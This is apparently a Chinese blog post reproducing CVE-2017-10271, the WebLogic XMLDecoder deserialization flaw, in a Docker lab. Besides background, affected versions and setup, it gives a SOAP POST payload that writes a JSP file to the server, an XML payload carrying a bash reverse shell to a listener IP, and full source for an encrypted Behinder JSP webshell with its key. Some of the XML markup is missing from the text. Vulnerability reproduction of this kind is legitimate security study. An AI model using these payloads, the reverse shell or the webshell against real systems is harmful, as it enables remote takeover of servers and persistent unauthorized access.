Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)

文章目录

    • 前言
    • 影响版本
    • 环境搭建
    • 漏洞复现
    • 深度利用

前言

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
漏洞触发url:/wls-wsat/CoordinatorPortType(POST)
漏洞本质:主要是由于wls组件使用了webservice来请求soap请求,所以通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞,可导致执行任意命令。

扩展:
SOAP:SOAP是Web服务安全性内置协议,采用保密和身份验证规则集的方式,支持OASIS和W3C制定的标准,结合使用XML加密、XML签名和SAML令牌等方式来验证身份和授权。SOAP更安全,适合于处理敏感数据,但是比较笨重。

影响版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

环境搭建

启动测试环境:

docker-compose up -d

Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第1张图片

等待一段时间,访问http://your-ip:7001/即可看到一个404页面,说明weblogic已成功启动。
Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第2张图片

漏洞复现

访问:http://ip:7001/wls-wsat/CoordinatorPortType11出现以下内容可能存在漏洞
Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第3张图片

漏洞触发url:/wls-wsat/CoordinatorPortType(POST)
访问:http://127.0.0.1:7001/wls-wsat/CoordinatorPortType,使用BP抓包
Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第4张图片

发送到rpeater,将get方式改为POST,再 将webshell替换上去,然后点击Send。
soap POC:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: youip:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: text/xml
Content-Length: 795





    
        
                     servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp
                
                    
                        
                        ]]>
                	
                
                
            
    



访问页面使用burp进行抓包,将数据包修改,点击上传显示500说明写入成功, 访问http://ip:7001/bea_wls_internal/jpc.jsp,正常显示写入的文本。
Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第5张图片Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第6张图片

上传反弹shell(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)


    
        
            
                
                    
                        
                            /bin/bash
                        
                        
                            -c
                        
                        
                            bash -i >& /dev/tcp/192.168.3.125/21 0>&1
                         #/dev/tcp/监听机的ip/监听的端口
                    
                    
                
            
        
    
    

Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第7张图片

在kali开启监听,成功反弹
Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第8张图片

复现成功!!!!

深度利用

接下来就可以写入webshell了,这里使用冰蝎自带的jsp webshell。默认密码为: rebeyond如果想改的话密码为32位md5值的前16位(此处已经修改了)。写入成功后访问http://ip:7001/bea_wls_internal/6.jsp
webshell:


        
        
        
               servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/6.jsp
        
        
<%!class U extends ClassLoader{
    U(ClassLoader c){
        super(c);
    }
    public Class g(byte []b){
        return super.defineClass(b,0,b.length);
    }
}%>
<%if (request.getMethod().equals("POST"))
{
    String k="58fba691b44a40af";
    session.putValue("u",k);
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
        ]]>
        
        
        
        
        
        
        
    

Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第9张图片Weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271复现)_第10张图片

输入密码,成功连接!!!

你可能感兴趣的:(漏洞复现,weblogic反序列漏洞,Web,漏洞,安全,网络,web安全,java,系统安全)